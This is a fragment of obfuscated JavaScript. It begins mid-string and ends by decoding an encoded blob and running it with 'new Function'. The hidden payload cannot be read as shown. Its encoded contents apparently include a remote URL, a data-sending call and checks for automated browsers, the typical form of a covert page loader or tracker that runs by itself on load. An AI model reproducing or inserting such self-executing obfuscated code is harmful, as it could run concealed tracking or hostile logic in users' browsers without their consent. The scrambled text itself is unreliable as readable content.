F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();